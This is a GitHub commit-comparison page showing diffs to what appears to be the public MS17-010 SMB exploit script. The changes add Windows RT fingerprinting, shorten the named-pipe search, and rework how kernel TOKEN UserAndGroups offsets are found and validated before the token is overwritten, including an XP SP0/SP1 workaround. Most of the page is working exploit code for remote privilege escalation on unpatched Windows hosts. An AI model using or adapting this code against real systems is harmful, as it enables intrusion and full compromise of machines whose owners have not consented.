Compare commits

...

10 Commits

Author SHA1 Message Date
Worawit Wang
83b3745050 Merge pull request #31 from zerosum0x0/ARMRT
fingerprint ARM WinRT
2018-03-30 06:47:58 +07:00
zerosum0x0
8576e0e798 fingerprint RT 2018-03-29 15:33:54 -06:00
Worawit Wang
b9409bf2b0 Merge pull request #25 from zerosum0x0/named_pipe_listing
Break out of named pipe search to send less packets
2018-01-30 20:59:05 +07:00
Worawit Wang
78662cd7e6 Merge pull request #24 from zerosum0x0/xpsp0sp1
Fix offsets on XP SP0 and SP1
2018-01-30 20:58:25 +07:00
zerosum0x0
11b44fe941 break out of named pipe search to send less packets 2018-01-30 00:32:51 -07:00
zerosum0x0
59de6a0e13 small typo in doc 2018-01-30 00:27:48 -07:00
zerosum0x0
42af710431 added additional 0 checks and struct notes 2018-01-29 23:54:47 -07:00
zerosum0x0
f611d0e5da comment out service_exec 2018-01-29 22:36:36 -07:00
zerosum0x0
8bd6f3760f test restricted SID values instead of group count 2018-01-29 22:34:40 -07:00
zerosum0x0
67b258e3b4 remove pyc again... needs a gitignore maybe 2018-01-29 18:55:22 -07:00
2 changed files with 65 additions and 16 deletions

BIN
mysmb.pyc

Binary file not shown.

View File

@@ -295,6 +295,7 @@ def find_named_pipe(conn):
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
break
except smb.SessionError as e:
pass
@@ -799,7 +800,7 @@ def exploit(target, pipe_name):
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
@@ -867,21 +868,8 @@ def exploit(target, pipe_name):
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
# hack to fix XP SP0 and SP1
if info['os'] == 'WINXP' and info['arch'] == 'x86':
if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too
print("Bad TOKEN offsets detected, performing workaround")
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
print('overwriting token UserAndGroups')
# modify UserAndGroups info
@@ -920,6 +908,66 @@ def exploit(target, pipe_name):
conn.get_socket().close()
return True
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
return success, userAndGroupCount, userAndGroupsAddr
def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()
# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
@@ -1008,3 +1056,4 @@ pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print('Done')